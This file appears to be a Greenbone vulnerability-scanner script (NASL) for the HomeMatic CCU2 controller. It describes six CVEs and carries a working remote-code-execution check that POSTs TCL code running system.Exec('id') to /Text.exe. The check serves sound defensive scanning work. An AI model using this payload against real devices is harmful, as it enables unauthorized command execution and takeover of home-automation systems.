HomeMatic CCU2 Multiple Vulnerabilities

# SPDX-FileCopyrightText: 2018 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:eq-3:homematic_ccu2";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.140807");
  script_version("2023-07-20T05:05:17+0000");
  script_tag(name:"last_modification", value:"2023-07-20 05:05:17 +0000 (Thu, 20 Jul 2023)");
  script_tag(name:"creation_date", value:"2018-02-23 16:19:23 +0700 (Fri, 23 Feb 2018)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2019-10-03 00:03:00 +0000 (Thu, 03 Oct 2019)");

  script_cve_id("CVE-2018-7296", "CVE-2018-7297", "CVE-2018-7298", "CVE-2018-7299", "CVE-2018-7300",
                "CVE-2018-7301");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("HomeMatic CCU2 Multiple Vulnerabilities");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2018 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_homematic_ccu2_detect.nasl");
  script_mandatory_keys("homematic/detected");

  script_tag(name:"summary", value:"HomeMatic CCU2 is prone to multiple vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");

  script_tag(name:"insight", value:"HomeMatic CCU2 is prone to multiple vulnerabilities:

  - Directory Traversal / Arbitrary File Read in User.getLanguage method allows remote attackers to read the first
line of an arbitrary file on the CCU2's filesystem. (CVE-2018-7296)

  - Remote Code Execution in the TCL script interpreter allows remote attackers to obtain read/write access and
execute system commands on the device. (CVE-2018-7297)

  - In /usr/local/etc/config/addons/mh/loopupd.sh software update packages are downloaded via the HTTP protocol,
which does not provide any cryptographic protection of the downloaded contents. (CVE-2018-7298)

  - Remote Code Execution in the addon installation process allows authenticated attackers to create or overwrite
arbitrary files or install malicious software on the device. (CVE-2018-7299)

  - Directory Traversal / Arbitrary File Write / Remote Code Execution in the User.setLanguage method allows remote
attackers to write arbitrary files to the device's filesystem. (CVE-2018-7300)

  - Open XML-RPC port without authentication. This can be exploited by sending arbitrary XML-RPC requests to
control the attached BidCos devices. (CVE-2018-7301)");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the
  disclosure of this vulnerability. Likely none will be provided anymore. General solution options are to
  upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");

  script_xref(name:"URL", value:"https://atomic111.github.io/article/homematic-ccu2-fileread");
  script_xref(name:"URL", value:"https://atomic111.github.io/article/homematic-ccu2-remote-code-execution");
  script_xref(name:"URL", value:"https://atomic111.github.io/article/homematic-ccu2-firmware-via-plain-http");
  script_xref(name:"URL", value:"https://atomic111.github.io/article/homematic-ccu2-untrusted_addon");
  script_xref(name:"URL", value:"https://atomic111.github.io/article/homematic-ccu2-filewrite");
  script_xref(name:"URL", value:"https://atomic111.github.io/article/homematic-ccu2-xml-rpc");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!get_app_location(cpe: CPE, port: port, nofork: TRUE))
  exit(0);

url = '/Text.exe';

data = 'string stdout;\n' +
       'string stderr;\n' +
       'system.Exec("id", &stdout, &stderr);\n' +
       'WriteLine(stdout);';

req = http_post_put_req(port: port, url: url, data: data);
res = http_keepalive_send_recv(port: port, data: req);

if (res =~ 'uid=[0-9]+.*gid=[0-9]+') {
  report = "It was possible to execute the 'id' command.\n\nResult:\n" +
           egrep(pattern: 'uid=[0-9]+.*gid=[0-9]+', string: res);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);